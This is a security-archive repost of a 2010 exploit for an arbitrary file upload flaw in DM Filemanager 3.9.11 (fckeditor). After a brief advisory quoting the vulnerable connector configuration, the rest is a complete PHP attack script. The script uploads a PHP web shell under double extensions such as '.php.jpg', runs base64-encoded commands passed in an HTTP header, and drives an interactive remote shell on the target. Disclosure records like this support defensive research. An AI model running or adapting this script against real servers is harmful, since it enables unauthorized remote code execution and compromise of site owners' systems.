DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit

2010-07-28T00:00:00
ID SECURITYVULNS:DOC:24342
Type securityvulns
Reporter Securityvulns
Modified 2010-07-28T00:00:00

Description

<?php /*


DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ 1 1 /' \ /'`\ /\ \ /'`\ 0 0 /\, \ /\\/\\ \ \ \ \ ,\/\ \/\ \ _ 1 1 \//\ \ /' _ `\ \/\ \//\< /'\ \ \/\ \ \ \ \/\`'_\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \/\ \ \\ \ \\ \ \ \/ 1 1 \ \\ \\ \\\ \ \ \_/\ \\\ \__\\ \____/\ \\ 0 0 \//\//\//\ \\ \// \// \/__/ \/___/ \// 1 1 \ \_/ >> Exploit database separated by exploit 0 0 \// type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ######################################## 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 ######################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Vendor: www.dutchmonkey.com Download : http://www.dutchmonkey.com/?file=downloads.html&label=Downloads exploited by ..: eidelweiss Affected: version 3.9.11 details..: works with an Apache server with the mod_mime module installed (if specific)

[-] vulnerable code in /path/fckeditor/editor/filemanager/connectors/php/config.php

[*] // SECURITY: You must explicitly enable this &quot;connector&quot;. &#40;Set it to &quot;true&quot;&#41;.
[*] 
[*] $Config[&#39;Enabled&#39;] = true ;
[*]
[*] // Path to user files relative to the document root.
[*] $Config[&#39;UserFilesPath&#39;] = &#39;/userfiles/&#39; ;
[*]
[*] // Fill the following value it you prefer to specify the absolute path for the
[*] // user files directory. Usefull if you are using a virtual directory, symbolic
[*] // link or alias. Examples: &#39;C:&#92;&#92;MySite&#92;&#92;UserFiles&#92;&#92;&#39; or &#39;/root/mysite/UserFiles/&#39;.
[*] // Attention: The above &#39;UserFilesPath&#39; must point to the same directory.
[*] 
[*]
[*] $Config[&#39;AllowedExtensions&#39;][&#39;File&#39;]    = array&#40;&#39;7z&#39;, &#39;aiff&#39;, &#39;asf&#39;, &#39;avi&#39;, &#39;bmp&#39;, &#39;csv&#39;, &#39;doc&#39;,

'fla', 'flv', 'gif', 'gz', [....] [] $Config['DeniedExtensions']['File'] = array() ; [] [] $Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ; [] $Config['DeniedExtensions']['Image'] = array() ; [] [] $Config['AllowedExtensions']['Flash'] = array('swf','flv') ; [] $Config['DeniedExtensions']['Flash'] = array() ; [] [] $Config['AllowedExtensions']['Media'] = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ; [] $Config['DeniedExtensions']['Media'] = array() ;

with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn&#39;t properly checked

*/

*/ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } function upload() { global $host, $path;

$connector = "/fckeditor/editor/filemanager/connectors/php/config.php"; $file_ext = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");

foreach ($file_ext as $ext) { print "\n[-] Trying to upload with .{$ext} extension...";

$data = "--abcdef\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n"; $data .= "<?php \${print(code)}.\${passthru(base64_decode(\$SERVER[HTTP_CMD]))}.\${print(_code)} ?>\r\n"; $data .= "--abcdef--\r\n";

$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $data;

preg_match("/OnUploadCompleted\((.),'(.)'\)/i", http_send($host, $packet), $html);

if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");

$packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $html = http_send($host, $packet);

if (!eregi("print", $html) and eregi("code", $html)) return $ext;

sleep(1); }

return false; } print "\n+--------------------------------------------------------------------------+"; print "\n| DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit |"; print "\n+--------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /dm-filemanager/\n"; die(); } $host = $argv[1]; $path = $argv[2]; if (!($ext = upload())) die("\n\n[-] Exploit failed...\n"); else print "\n[-] Shell uploaded...starting it!\n"; define(STDIN, fopen("php://stdin", "r")); while(1) { print "\dm-filemanager-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("code", $html)) die("\n[-] Exploit failed...\n"); $shell = explode("code", $html); print "\n{$shell[1]}"; } else break; } ?>